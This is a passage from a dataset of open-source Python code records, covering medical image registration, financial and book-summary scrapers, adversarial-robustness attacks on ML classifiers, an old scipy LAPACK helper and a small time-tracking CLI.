trl_factor\n elif self.group == 'SO':\n prm = prm * rot_factor\n elif self.group == 'SE':\n trl = prm[:, :self.dim] * trl_factor\n rot = prm[:, self.dim:] * rot_factor\n prm = torch.cat([trl, rot], dim=1)\n elif self.group == 'D':\n trl = prm[:, :self.dim] * trl_factor\n zom = prm[:, self.dim:] * rot_factor\n prm = torch.cat([trl, zom], dim=1)\n elif self.group == 'CSO':\n trl = prm[:, :self.dim] * trl_factor\n rot = prm[:, self.dim:-1] * rot_factor\n zom = prm[:, -1:] * zom_factor\n prm = torch.cat([trl, rot, zom], dim=1)\n elif self.group == 'SL':\n trl = prm[:, :self.dim] * trl_factor\n rot = prm[:, self.dim:-(self.dim-1)] * rot_factor\n zom = prm[:, -(self.dim-1):] * zom_factor\n prm = torch.cat([trl, rot, zom], dim=1)\n elif self.group == 'GL+':\n rot = prm[:, :(self.dim)*(self.dim-1)//2] * rot_factor\n zom = prm[:, (self.dim)*(self.dim-1)//2:-((self.dim)*(self.dim-1)//2)] * zom_factor\n shr = prm[:, -((self.dim)*(self.dim-1)//2):] * shr_factor\n prm = torch.cat([rot, zom, shr], dim=1)\n elif self.group == 'Aff+':\n trl = prm[:, :self.dim] * trl_factor\n rot = prm[:, self.dim:self.dim+(self.dim)*(self.dim-1)//2] * rot_factor\n zom = prm[:, self.dim+(self.dim)*(self.dim-1)//2:-((self.dim)*(self.dim-1)//2)] * zom_factor\n shr = prm[:, -((self.dim)*(self.dim-1)//2):] * shr_factor\n prm = torch.cat([trl, rot, zom, shr], dim=1)\n return prm\n \n def forward(self, source, target, *, _loss=None, _metric=None):\n \"\"\"\n\n Parameters\n ----------\n source : tensor (batch, channel, *spatial)\n Source/moving image\n target : tensor (batch, channel, *spatial)\n Target/fixed image\n\n _loss : dict, optional\n If provided, all registered losses are computed and appended.\n _metric : dict, optional\n If provided, all registered metrics are computed and appended.\n\n Returns\n -------\n deformed_source : tensor (batch, channel, *spatial)\n Deformed source image\n affine_prm : tensor (batch,, *nb_prm)\n affine Lie/Classic parameters\n\n \"\"\"\n # sanity checks\n check.dim(self.dim, source, target)\n check.shape(target, source, dims=[0], broadcast_ok=True)\n check.shape(target, source, dims=range(2, self.dim + 2))\n\n # chain operations\n source_and_target = torch.cat((source, target), dim=1)\n dense = channel2last(self.unet(source_and_target))\n affprm = self.dense2prm(dense)\n affine = self.exp(affprm.double()).to(dense.dtype)\n grid = self.grid(affine, shape=target.shape[2:])\n deformed_source = self.pull(source, grid)\n\n # compute loss and metrics\n self.compute(_loss, _metric,\n image=[deformed_source, target],\n affine=[affprm],\n dense=[dense])\n\n return deformed_source, affprm, dense\n", "source": "liamchalcroft/nitorch", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\nDate: 2021/7/3 10:27\nDesc: \u4e1c\u65b9\u8d22\u5bcc-\u6570\u636e\u4e2d\u5fc3-\u5e74\u62a5\u5b63\u62a5\n\u4e1c\u65b9\u8d22\u5bcc-\u6570\u636e\u4e2d\u5fc3-\u5e74\u62a5\u5b63\u62a5-\u4e1a\u7ee9\u5feb\u62a5-\u4e1a\u7ee9\u62a5\u8868\nhttp://data.eastmoney.com/bbsj/202003/yjbb.html\n\"\"\"\nimport pandas as pd\nimport requests\nfrom tqdm import tqdm\n\n\ndef stock_em_yjbb(date: str = \"20200331\") -> pd.DataFrame:\n \"\"\"\n \u4e1c\u65b9\u8d22\u5bcc-\u6570\u636e\u4e2d\u5fc3-\u5e74\u62a5\u5b63\u62a5-\u4e1a\u7ee9\u5feb\u62a5-\u4e1a\u7ee9\u62a5\u8868\n http://data.eastmoney.com/bbsj/202003/yjbb.html\n :param date: \"20200331\", \"20200630\", \"20200930\", \"20201231\"; \u4ece 20100331 \u5f00\u59cb\n :type date: str\n :return: \u4e1a\u7ee9\u62a5\u8868\n :rtype: pandas.DataFrame\n \"\"\"\n url = \"http://datacenter.eastmoney.com/api/data/get\"\n params = {\n \"st\": \"UPDATE_DATE,SECURITY_CODE\",\n \"sr\": \"-1,-1\",\n \"ps\": \"5000\",\n \"p\": \"1\",\n \"type\": \"RPT_LICO_FN_CPD\",\n \"sty\": \"ALL\",\n \"token\": \"894050c76af8597a853f5b408b759f5d\",\n \"filter\": f\"(REPORTDATE='{'-'.join([date[:4], date[4:6], date[6:]])}')\",\n }\n r = requests.get(url, params=params)\n data_json = r.json()\n page_num = data_json[\"result\"][\"pages\"]\n big_df = pd.DataFrame()\n for page in tqdm(range(1, page_num + 1), leave=False):\n params = {\n \"st\": \"UPDATE_DATE,SECURITY_CODE\",\n \"sr\": \"-1,-1\",\n \"ps\": \"500\",\n \"p\": page,\n \"type\": \"RPT_LICO_FN_CPD\",\n \"sty\": \"ALL\",\n \"token\": \"894050c76af8597a853f5b408b759f5d\",\n \"filter\": f\"(REPORTDATE='{'-'.join([date[:4], date[4:6], date[6:]])}')\",\n }\n r = requests.get(url, params=params)\n data_json = r.json()\n temp_df = pd.DataFrame(data_json[\"result\"][\"data\"])\n big_df = big_df.append(temp_df, ignore_index=True)\n\n big_df.reset_index(inplace=True)\n big_df[\"index\"] = range(1, len(big_df) + 1)\n big_df.columns = [\n \"\u5e8f\u53f7\",\n \"\u80a1\u7968\u4ee3\u7801\",\n \"\u80a1\u7968\u7b80\u79f0\",\n \"_\",\n \"_\",\n \"_\",\n \"_\",\n \"\u6700\u65b0\u516c\u544a\u65e5\u671f\",\n \"_\",\n \"\u6bcf\u80a1\u6536\u76ca\",\n \"_\",\n \"\u8425\u4e1a\u6536\u5165-\u8425\u4e1a\u6536\u5165\",\n \"\u51c0\u5229\u6da6-\u51c0\u5229\u6da6\",\n \"\u51c0\u8d44\u4ea7\u6536\u76ca\u7387\",\n \"\u8425\u4e1a\u6536\u5165-\u540c\u6bd4\u589e\u957f\",\n \"\u51c0\u5229\u6da6-\u540c\u6bd4\u589e\u957f\",\n \"\u6bcf\u80a1\u51c0\u8d44\u4ea7\",\n \"\u6bcf\u80a1\u7ecf\u8425\u73b0\u91d1\u6d41\u91cf\",\n \"\u9500\u552e\u6bdb\u5229\u7387\",\n \"\u8425\u4e1a\u6536\u5165-\u5b63\u5ea6\u73af\u6bd4\u589e\u957f\",\n \"\u51c0\u5229\u6da6-\u5b63\u5ea6\u73af\u6bd4\u589e\u957f\",\n \"_\",\n \"_\",\n \"\u6240\u5904\u884c\u4e1a\",\n \"_\",\n \"_\",\n \"_\",\n \"_\",\n \"_\",\n \"_\",\n \"_\",\n \"_\",\n \"_\",\n \"_\",\n \"_\",\n ]\n big_df = big_df[\n [\n \"\u5e8f\u53f7\",\n \"\u80a1\u7968\u4ee3\u7801\",\n \"\u80a1\u7968\u7b80\u79f0\",\n \"\u6bcf\u80a1\u6536\u76ca\",\n \"\u8425\u4e1a\u6536\u5165-\u8425\u4e1a\u6536\u5165\",\n \"\u8425\u4e1a\u6536\u5165-\u540c\u6bd4\u589e\u957f\",\n \"\u8425\u4e1a\u6536\u5165-\u5b63\u5ea6\u73af\u6bd4\u589e\u957f\",\n \"\u51c0\u5229\u6da6-\u51c0\u5229\u6da6\",\n \"\u51c0\u5229\u6da6-\u540c\u6bd4\u589e\u957f\",\n \"\u51c0\u5229\u6da6-\u5b63\u5ea6\u73af\u6bd4\u589e\u957f\",\n \"\u6bcf\u80a1\u51c0\u8d44\u4ea7\",\n \"\u51c0\u8d44\u4ea7\u6536\u76ca\u7387\",\n \"\u6bcf\u80a1\u7ecf\u8425\u73b0\u91d1\u6d41\u91cf\",\n \"\u9500\u552e\u6bdb\u5229\u7387\",\n \"\u6240\u5904\u884c\u4e1a\",\n \"\u6700\u65b0\u516c\u544a\u65e5\u671f\",\n ]\n ]\n return big_df\n\n\nif __name__ == \"__main__\":\n stock_em_yjbb_df = stock_em_yjbb(date=\"20200331\")\n print(stock_em_yjbb_df)\n", "source": "jiangrongbo/akshare", "license": "MIT"} {"text": "# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Gradient-based attacks in various norms.\n\nAttacks may be applied in any representation space.\n\"\"\"\nfrom absl import logging\nimport gin\nimport neural_structured_learning as nsl\nfrom multi_representation_adversary.cleverhans_adapter import sparse_l1_descent\nfrom multi_representation_adversary.cleverhans_adapter import utils_tf\nimport numpy as np\nimport tensorflow.compat.v2 as tf\n\n\nclass Attack(object):\n \"\"\"Abstract base class for an attack.\"\"\"\n\n def attack(self, x, y, model, loss, random_start=False):\n \"\"\"Performs an attack to the model on the given example (x, y).\n\n Args:\n x: A batched tensor. Input features.\n y: A batched tensor. Input labels.\n model: A callable. The model to be attacked.\n loss: A callable. The loss function.\n random_start: A Boolean. Whether to start the attack from a random point\n inside the epsilon ball.\n \"\"\"\n raise NotImplementedError\n\n\nclass NSLAttack(Attack):\n \"\"\"Attacks using the Neural Structured Learning library.\"\"\"\n\n def __init__(self, adv_config):\n \"\"\"Constructs an Attack object with the NSL library.\n\n Args:\n adv_config: An instance of `nsl.configs.AdvNeighborConfig`.\n \"\"\"\n self.config = adv_config\n # Handle iterations separately to have the correct random_start behavior.\n self.num_iter = self.config.pgd_iterations\n self.config.pgd_iterations = 1\n logging.info(\"NSL CONFIG CREATION: %s\", self.__dict__)\n\n def attack(self, x, y, model, loss, random_start=False):\n \"\"\"See base class.\"\"\"\n if self.config.adv_grad_norm == nsl.configs.NormType.INFINITY:\n order = np.inf\n elif self.config.adv_grad_norm == nsl.configs.NormType.L2:\n order = 2\n else:\n # Not used in the experiments.\n raise ValueError(\"adv_grad_norm is not \\\"INFINITY\\\" or \\\"L2\\\" NormType.\")\n\n adv_x0 = x\n if random_start:\n adv_x0 += utils_tf.random_lp_vector(\n tf.shape(x),\n ord=order,\n eps=tf.cast(self.config.pgd_epsilon, tf.float32),\n dtype=adv_x0.dtype)\n\n def pgd_step(i, adv_xi):\n \"\"\"Do a projected gradient step for adversarial examples.\"\"\"\n with tf.GradientTape(watch_accessed_variables=False) as adv_tape:\n adv_tape.watch(adv_xi)\n adv_losses = loss(y, model(adv_xi))\n\n adv_xi, _ = nsl.lib.gen_adv_neighbor(\n adv_xi,\n adv_losses,\n self.config,\n gradient_tape=adv_tape,\n pgd_model_fn=model,\n pgd_loss_fn=loss,\n pgd_labels=y)\n\n eta = adv_xi - x\n eta = utils_tf.clip_eta(eta, ord=order, eps=self.config.pgd_epsilon)\n adv_xi = x + eta\n return i + 1, adv_xi\n\n _, adv_x = tf.while_loop(\n lambda i, _: tf.less(i, self.num_iter),\n pgd_step, (tf.zeros([]), adv_x0),\n back_prop=True,\n maximum_iterations=self.num_iter)\n return adv_x\n\n\nclass SparseL1Attack(Attack):\n \"\"\"A wrapper for the SparseL1Attack from Cleverhans.\"\"\"\n\n def __init__(self, num_iter, epsilon, step_size, q, num_classes):\n \"\"\"Constructs an Attack object wrapping the SparseL1Attack from Cleverhans.\n\n Args:\n num_iter: Number of iterations to run the attack.\n epsilon: The epsilon ball to clip to.\n step_size: The step size for the attack.\n q: Sparsity of the gradient update step in percent. Gradient values larger\n than this percentile are retained.\n num_classes: Number of classes in the label space.\n \"\"\"\n self.q = q\n self.eps = epsilon\n self.eps_iter = step_size\n self.nb_iter = num_iter\n self.num_classes = num_classes\n logging.info(\"L1 CONFIG CREATION: %s\", self.__dict__)\n\n def attack(self, x, y, model, loss, random_start=False):\n \"\"\"See base class.\"\"\"\n y_onehot = tf.reshape(\n tf.one_hot(y, self.num_classes), [-1, self.num_classes])\n adv_x = x\n if random_start:\n perturb = utils_tf.random_lp_vector(\n tf.shape(adv_x),\n ord=1,\n eps=tf.cast(self.eps, tf.float32),\n dtype=adv_x.dtype)\n adv_x = adv_x + perturb\n\n @tf.function\n def pgd_step(i, adv_x):\n \"\"\"Do a projected gradient step for adversarial examples.\"\"\"\n adv_x = sparse_l1_descent.sparse_l1_descent(\n adv_x,\n model(adv_x),\n y=y_onehot,\n eps=self.eps_iter,\n q=self.q,\n clip_min=None,\n clip_max=None,\n sanity_checks=True)\n\n eta = adv_x - x\n eta = utils_tf.clip_eta(eta, ord=1, eps=self.eps)\n adv_x = x + eta\n\n return i + 1, adv_x\n\n _, adv_x = tf.while_loop(\n lambda i, _: tf.less(i, self.nb_iter),\n pgd_step, (tf.zeros([]), adv_x),\n back_prop=True,\n maximum_iterations=self.nb_iter)\n return adv_x\n\n\nclass NoAttack(Attack):\n \"\"\"An Attack class represents no attack at all.\"\"\"\n\n def attack(self, x, y, model, loss, random_start=False):\n \"\"\"See base class.\"\"\"\n return x\n\n\nclass UnionAttack(Attack):\n \"\"\"Composite Attack class with 1+ base attacks and 1+ restarts.\n\n For each example, this attack evaluates each base attack with N restarts and\n take the one with the highest loss.\n \"\"\"\n\n def __init__(self, base_attack_names, restart):\n \"\"\"Constructs an Attack object wrapping a base attack with restarts.\n\n Args:\n base_attack_names: List of base attacks, any of ('l1', 'l2', 'linf').\n restart: Number of restarts for each attack.\n \"\"\"\n self.restart = restart\n self.attacks = list(map(construct_attack, base_attack_names))\n logging.info(\"UNION CONFIG CREATION: %s\", self.__dict__)\n\n def attack(self, x, y, model, loss, random_start=False):\n \"\"\"See base class.\"\"\"\n batch_shape = [x.shape[0]] + [1] * (x.shape.rank - 1)\n adv_x = x\n adv_loss = tf.zeros(batch_shape)\n for attack in self.attacks:\n for _ in range(self.restart):\n adv_x2 = attack.attack(x, y, model, loss, random_start)\n adv_loss2 = tf.reshape(loss(y, model(adv_x2)), batch_shape)\n comparison = adv_loss < adv_loss2\n adv_x = tf.where(comparison, adv_x2, adv_x)\n adv_loss = tf.where(comparison, adv_loss2, adv_loss)\n return adv_x\n\n\nclass SingleRotationAttack(Attack):\n \"\"\"Single random rotation attack.\n\n Reference:\n Engstrom et al. Exploring the Landscape of Spatial Robustness.\n https://arxiv.org/pdf/1712.02779.pdf\n \"\"\"\n\n def __init__(self, max_degree):\n self.max_degree = max_degree\n logging.info(\"ROTATION CONFIG CREATION: %s\", self.__dict__)\n self.rotate = tf.keras.layers.experimental.preprocessing.RandomRotation(\n factor=max_degree / 360., fill_mode=\"constant\")\n\n def attack(self, x, y, model, loss, random_start=False):\n \"\"\"See base class.\"\"\"\n return self.rotate(x)\n\n\n@gin.configurable\ndef linf_config(num_iter=1, epsilon=(8 / 255), step_size=(2 / 255)):\n adv_config = nsl.configs.AdvNeighborConfig(\n adv_grad_norm=\"infinity\",\n pgd_iterations=num_iter,\n adv_step_size=step_size,\n clip_value_min=None,\n clip_value_max=None,\n pgd_epsilon=epsilon)\n return {\"adv_config\": adv_config}\n\n\n@gin.configurable\ndef l2_config(num_iter=1, epsilon=(8 / 255), step_size=(2 / 255)):\n adv_config = nsl.configs.AdvNeighborConfig(\n adv_grad_norm=\"l2\",\n pgd_iterations=num_iter,\n adv_step_size=step_size,\n clip_value_min=None,\n clip_value_max=None,\n pgd_epsilon=epsilon)\n return {\"adv_config\": adv_config}\n\n\n@gin.configurable\ndef l1_config(num_iter=10,\n epsilon=10,\n step_size=1,\n percentile=99,\n num_classes=10):\n return {\n \"num_iter\": num_iter,\n \"epsilon\": epsilon,\n \"step_size\": step_size,\n \"q\": percentile,\n \"num_classes\": num_classes,\n }\n\n\n@gin.configurable\ndef union_config(base_attack_names, restart=1):\n return {\n \"base_attack_names\": base_attack_names,\n \"restart\": restart,\n }\n\n\n@gin.configurable\ndef single_rotation_config(max_degree=30.):\n return {\"max_degree\": max_degree}\n\n\n@gin.configurable\ndef union_rotation_config(num_trials=10):\n return {\"base_attack_names\": [\"single_rotation\"], \"restart\": num_trials}\n\n\n# Attacks cannot be instantiated at global namespace because the *_config()\n# calls depend on gin for the correct default parameters, which is initialized\n# in main() after the creation of global variables.\nATTACK_CONSTRUCTORS = {\n \"linf\": lambda: NSLAttack(**linf_config()),\n \"l2\": lambda: NSLAttack(**l2_config()),\n \"l1\": lambda: SparseL1Attack(**l1_config()),\n \"none\": NoAttack,\n\n # Composite attack. Num of restarts is set in union_config.\n \"linf_restart\": lambda: UnionAttack(**union_config([\"linf\"])),\n \"l2_restart\": lambda: UnionAttack(**union_config([\"l2\"])),\n \"l1_restart\": lambda: UnionAttack(**union_config([\"l1\"])),\n\n # Rotation attack.\n \"single_rotation\": lambda: SingleRotationAttack(**single_rotation_config()),\n \"union_rotation\": lambda: UnionAttack(**union_rotation_config()),\n}\n\n\ndef construct_attack(name):\n return ATTACK_CONSTRUCTORS[name]()\n", "source": "srihari-humbarwadi/neural-structured-learning", "license": "Apache-2.0"} {"text": "\"\"\"\n/*\n * Copyright (c) 2021, salesforce.com, inc.\n * All rights reserved.\n * SPDX-License-Identifier: BSD-3-Clause\n * For full license text, see the LICENSE file in the repo root or https://opensource.org/licenses/BSD-3-Clause\n */\n\"\"\"\n\n\n\"\"\"\nNote: Summaries collected through bookwolf require significant manual cleanup owing to the way the HTML is written\n\"\"\"\nfrom builtins import zip, str, range\n\nimport pdb, os, csv, re, io, json\nimport urllib.request, urllib.error, urllib.parse\n\nfrom bs4 import BeautifulSoup\nfrom tqdm import tqdm\nfrom shutil import rmtree\nfrom nltk.tokenize import word_tokenize, sent_tokenize\nfrom unidecode import unidecode\nimport time\n\n# PARAMS\nSUMMARY_DIR = '../../raw_summaries/bookwolf/summaries'\nMAIN_SITE = 'https://web.archive.org/web/20210120012015/http://www.bookwolf.com/'\n\n# Summary list info\nsummary_list_file = \"literature_links.tsv\"\n\n#File for capturing the HTTP Errors, for webpages that are not found\nf_errors = open(\"section_errors.txt\",\"w\")\n\n# Get contents of the summary file\nwith open(summary_list_file, 'r') as tsvfile:\n reader = csv.reader(tsvfile, delimiter='\\t')\n summary_infos = list(reader)\n\ndef get_overview_paragraphs(overview_links, specific_summary_dir):\n\n for index, (overview, name) in enumerate(overview_links):\n\n print (name, overview)\n\n try:\n soup = BeautifulSoup(urllib.request.urlopen(overview), \"html.parser\")\n overview_data = soup.find(\"td\", {\"class\": \"TextObject\"})\n\n overview_paragraphs = [unidecode(paragraph.text.strip()) for paragraph in overview_data.findAll(\"p\", recursive=False)[1:]]\n \n except Exception as e:\n print(e)\n time.sleep(5)\n try:\n soup = BeautifulSoup(urllib.request.urlopen(overview), \"html.parser\")\n overview_data = soup.find(\"td\", {\"class\": \"TextObject\"})\n\n overview_paragraphs = [unidecode(paragraph.text.strip()) for paragraph in overview_data.findAll(\"p\", recursive=False)[1:]]\n\n except Exception as e:\n print(\"No book summary for: \", overview, e)\n f_errors.write(overview + \"\\t\" + name + \"\\t\" + specific_summary_dir + \"\\n\")\n continue\n\n overview_text = \"\\n\".join(overview_paragraphs)\n \n overview_dict = {}\n overview_dict[\"name\"] = \"Overview\"\n overview_dict[\"summary\"] = overview_text\n \n output_fname = os.path.join(specific_summary_dir, \"overview.json\")\n with open(output_fname, 'w', encoding=\"utf-8\") as fp:\n json.dump(overview_dict, fp)\n\ndef get_section_paragraphs(section_links, specific_summary_dir):\n #Fetch chapter level summary\n for index, (section, name) in enumerate(section_links):\n \n try:\n \n print (name, section)\n soup = BeautifulSoup(urllib.request.urlopen(section), \"html.parser\")\n section_data = soup.find(\"td\", {\"class\": \"TextObject\"})\n except Exception as e:\n\n print (e)\n time.sleep(5)\n\n try:\n soup = BeautifulSoup(urllib.request.urlopen(section), \"html.parser\")\n section_data = soup.find(\"td\", {\"class\": \"TextObject\"})\n except Exception as e:\n print (\"Chapter level summary not found for: \", section, e)\n f_errors.write(section + \"\\t\" + name + \"\\t\" + specific_summary_dir + \"\\n\")\n continue\n\n\n section_paragraphs = []\n section_analysis = []\n\n start = -1\n\n for paragraph in section_data.findAll(\"p\", recursive=False):\n \n # Trim out anything before the actual summary starts\n if paragraph.text.strip().lower() in [\"summary\", \"context\"] or 'book' in paragraph.text.strip().lower():\n start = 1\n\n if start == -1:\n continue\n\n # If interpretation exists\n if paragraph.text.strip() == \"Interpretation\":\n start = 0\n \n if start:\n section_paragraphs.append(unidecode(paragraph.text.strip()))\n else:\n section_analysis.append(unidecode(paragraph.text.strip()))\n \n section_text = \"\\n\".join(section_paragraphs)\n section_interpretation = \"\\n\".join(section_analysis)\n\n section_dict = {}\n section_dict[\"name\"] = name\n section_dict[\"summary\"] = section_text\n section_dict[\"analysis\"] = section_interpretation\n\n output_fname = os.path.join(specific_summary_dir, 'section_%d.txt' % (index-1))\n with open(output_fname, 'w', encoding=\"utf-8\") as fp:\n json.dump(section_dict, fp)\n \n\n# For each summary info\nfor k, (title, page_url) in enumerate(summary_infos):\n\n print('\\n>>> {}. {} <<<'.format(k, title))\n\n # Create a directory for the work if needed\n specific_summary_dir = os.path.join(SUMMARY_DIR, title)\n if not os.path.exists(specific_summary_dir):\n os.makedirs(specific_summary_dir)\n else:\n print(\"Found existing directory.\")\n continue\n\n # Parse page\n print (\"page_url: \", page_url)\n try:\n soup = BeautifulSoup(urllib.request.urlopen(page_url), \"html.parser\")\n except Exception as e:\n print (page_url, e)\n f_errors.write(str(k) + \"\\t\" + title + \"\\t\" + page_url + \"\\t\" + specific_summary_dir + \"\\n\")\n continue\n\n\n # Parse general summary\n navigation_links = soup.find(\"table\", {\"id\": \"Table56\"})\n if navigation_links == None:\n navigation_links = soup.find(\"td\", {\"class\": \"TextObject\"})\n overview_links = [(urllib.parse.urljoin(MAIN_SITE, link.get(\"href\")), link.text) for link in navigation_links.findAll(\"a\")\\\n if (\"part\" not in link.text.lower() and (\"context\" in link.get(\"href\") or \"summary\" in link.get(\"href\") or \"synopsis\" in link.get(\"href\") ))]\n\n # Filter out some of the links that are obviously not chapter summary links\n # Since this source only has a handful of books, it was easy to hard code which links to fetch summaries from\n section_links = [(urllib.parse.urljoin(MAIN_SITE, link.get(\"href\")), link.text) for link in navigation_links.findAll(\"a\") \\\n if (\"interpretation\" not in link.text.lower() and \"comment\" not in link.text.lower() and \"author\" not in link.text.lower()\\\n and \"character\" not in link.text.lower() and \"questions\" not in link.text.lower() and \"life at the time\" not in link.text.lower()\\\n and \"theme\" not in link.text.lower() and \"foreword\" not in link.text.lower() and \"background\" not in link.text.lower()\\\n and \"symbolism\" not in link.text.lower() and \"introduction\" not in link.text.lower() and \"characterization\" not in link.text.lower()\\\n and \"setting\" not in link.text.lower() and \"family life\" not in link.text.lower() and \"comment\" not in link.text.lower() ) ]\n \n print (\"overview_link: \", overview_links)\n print (\"section_links: \", section_links)\n\n if len(overview_links) != 0:\n get_overview_paragraphs(overview_links, specific_summary_dir)\n\n if len(section_links) != 0:\n get_section_paragraphs(section_links, specific_summary_dir)\n \n", "source": "Yale-LILY/booksum", "license": "BSD-3-Clause"} {"text": "from .DeprecatedKeywords import DeprecatedKeywords\nfrom .RequestsOnSessionKeywords import RequestsOnSessionKeywords\nfrom .version import VERSION\n\n\"\"\"\n** Inheritance structure **\nRequestsKeywords (common requests and sessionless keywords)\n |_ SessionKeywords (session creation and data)\n |_ DeprecatedKeywords (old keywords that need sessions)\n |_ RequestsOnSessionKeywords (new keywords that use sessions)\n \nRequestsLibrary (extends RequestsOnSessionKeywords, DeprecatedKeywords)\n\"\"\"\n\n\nclass RequestsLibrary(RequestsOnSessionKeywords, DeprecatedKeywords):\n __version__ = VERSION\n ROBOT_LIBRARY_SCOPE = 'GLOBAL'\n", "source": "andreagubellini/robotframework-requests", "license": "MIT"} {"text": "\nimport asyncio\nfrom concurrent import futures\nfrom functools import cached_property\nfrom typing import Optional\n\nimport abstracts\n\n\nclass IReactive(metaclass=abstracts.Interface):\n \"\"\"Object that has a `loop`.\"\"\"\n\n @property # type: ignore\n @abstracts.interfacemethod\n def loop(self) -> asyncio.AbstractEventLoop:\n \"\"\"Event loop.\"\"\"\n raise NotImplementedError\n\n @property # type: ignore\n @abstracts.interfacemethod\n def pool(self) -> futures.Executor:\n \"\"\"Processor pool.\"\"\"\n raise NotImplementedError\n\n\nclass AReactive(IReactive, metaclass=abstracts.Abstraction):\n _loop: Optional[asyncio.AbstractEventLoop] = None\n _pool: Optional[futures.Executor] = None\n\n @cached_property\n def loop(self) -> asyncio.AbstractEventLoop:\n \"\"\"Event loop.\n\n Does not expect an existing loop to be running if it is not\n passed a loop.\n \"\"\"\n return self._loop or asyncio.get_event_loop()\n\n @cached_property\n def pool(self) -> futures.Executor:\n return self._pool or futures.ProcessPoolExecutor()\n", "source": "Nordix/pytooling", "license": "Apache-2.0"} {"text": "#\n# Author: Pearu Peterson, March 2002\n#\n\n__all__ = ['get_lapack_funcs']\n\n# The following ensures that possibly missing flavor (C or Fortran) is\n# replaced with the available one. If none is available, exception\n# is raised at the first attempt to use the resources.\nimport types\n\nimport numpy\n\nfrom scipy.linalg import flapack\nfrom scipy.linalg import clapack\n_use_force_clapack = 1\nif hasattr(clapack,'empty_module'):\n clapack = flapack\n _use_force_clapack = 0\nelif hasattr(flapack,'empty_module'):\n flapack = clapack\n\ndef cast_to_lapack_prefix(t):\n if issubclass(t, numpy.single):\n prefix = 's'\n elif issubclass(t, numpy.double):\n prefix = 'd'\n elif issubclass(t, numpy.longdouble):\n prefix = 'd'\n elif issubclass(t, numpy.csingle):\n prefix = 'c'\n elif issubclass(t, numpy.cdouble):\n prefix = 'z'\n elif issubclass(t, numpy.clongdouble):\n prefix = 'z'\n else:\n prefix = 'd'\n return prefix\n\nprefix_to_order = dict(s=3, d=2, c=1, z=0)\norder_to_prefix = ['s', 'd', 'c', 'z']\nprefix_to_dtype = dict(s=numpy.single, d=numpy.double,\n c=numpy.csingle, z=numpy.cdouble)\n\ndef find_best_lapack_type(arrays):\n if not arrays:\n return 'd', numpy.double, False\n ordering = []\n for i in range(len(arrays)):\n t = arrays[i].dtype.type\n prefix = cast_to_lapack_prefix(t)\n order = prefix_to_order[prefix]\n ordering.append((order, prefix, i))\n ordering.sort()\n _, required_prefix, lowest_array_index = ordering[0]\n dtype = prefix_to_dtype[required_prefix]\n isfortran = numpy.isfortran(arrays[lowest_array_index])\n return required_prefix, dtype, isfortran\n\ndef get_lapack_funcs(names, arrays=()):\n \"\"\"Return available LAPACK function objects with names.\n arrays are used to determine the optimal prefix of\n LAPACK routines.\n \"\"\"\n #If force_clapack is True then available Atlas routine\n #is returned for column major storaged arrays with\n #rowmajor argument set to False.\n force_clapack=False #XXX: Don't set it true! The feature is unreliable\n # and may cause incorrect results.\n # See test_basic.test_solve.check_20Feb04_bug.\n\n required_prefix, dtype, isfortran = find_best_lapack_type(arrays)\n # Default lookup:\n if isfortran:\n # prefer Fortran code for leading array with column major order\n m1, m2 = flapack, clapack\n else:\n # in all other cases, C code is preferred\n m1, m2 = clapack, flapack\n if not _use_force_clapack:\n force_clapack = False\n funcs = []\n m1_name = m1.__name__.split('.')[-1]\n m2_name = m2.__name__.split('.')[-1]\n for name in names:\n func_name = required_prefix + name\n func = getattr(m1,func_name,None)\n if func is None:\n func = getattr(m2,func_name)\n func.module_name = m2_name\n else:\n func.module_name = m1_name\n if force_clapack and m1 is flapack:\n func2 = getattr(m2,func_name,None)\n if func2 is not None:\n exec _colmajor_func_template % {'func_name':func_name}\n func = types.FunctionType(func_code,\n {'clapack_func':func2},\n func_name)\n func.module_name = m2_name\n func.__doc__ = func2.__doc__\n func.prefix = required_prefix\n func.dtype = dtype\n funcs.append(func)\n return tuple(funcs)\n\n\n\n_colmajor_func_template = '''\\\ndef %(func_name)s(*args,**kws):\n if \"rowmajor\" not in kws:\n kws[\"rowmajor\"] = 0\n return clapack_func(*args,**kws)\nfunc_code = %(func_name)s.func_code\n'''\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"} {"text": "import argparse\nimport sqlite3\n\nfrom tabulate import tabulate\n\nfrom anpy_lib import file_management\nfrom anpy_lib import table_generator\nfrom anpy_lib.data_handling import SQLDataHandler\n\n\ndef set_up():\n file_management.create_anpy_dir_if_not_exist()\n handler = SQLDataHandler(sqlite3.Connection(file_management.DATABASE_PATH))\n return handler\n\n\ndef create_categories(args):\n handler = set_up()\n print('Creating...')\n for category in args.categories:\n try:\n handler.new_category(category)\n except ValueError:\n print('{} is invalid... skipping.'.format(category))\n\n\ndef start(args):\n requested_category = args.category\n handler = set_up()\n\n if handler.is_active_session():\n print('An active session is running!')\n return\n\n if args.create:\n try:\n handler.new_category(requested_category)\n category = requested_category\n except ValueError:\n print('{} is invalid (bad name or already exists)... cancelling.'\n .format(requested_category))\n return\n elif requested_category in handler.active_categories:\n category = requested_category\n else:\n categories = handler.active_categories\n potential_matches = list(\n filter(lambda x: x.startswith(requested_category), categories))\n\n if not potential_matches:\n print('{} does not match any category names.'\n .format(requested_category))\n return\n\n elif len(potential_matches) > 1:\n print('\"{}\" is ambiguous: could be {}'\n .format(requested_category, potential_matches))\n return\n category = potential_matches[0]\n assert category\n handler.start(category)\n\n\ndef end(_):\n handler = set_up()\n if handler.is_active_session():\n handler.complete()\n else:\n print(\"There's no session running!\")\n\n\ndef cancel(_):\n handler = set_up()\n if handler.is_active_session():\n handler.cancel()\n else:\n print('Cannot cancel: No active session.')\n\n\ndef status(_):\n handler = set_up()\n table, headers = table_generator.create_table_iterable_and_headers(\n data_handler=handler)\n print(tabulate(table, headers=headers))\n print()\n print('Active categories: {}'.format(', '.join(handler.active_categories)))\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n subparsers = parser.add_subparsers()\n create_parser = subparsers.add_parser('create',\n help='Create new categories')\n create_parser.add_argument('categories', metavar='C', nargs='+',\n help='Categories to create. Active categories'\n 'that already exist will be 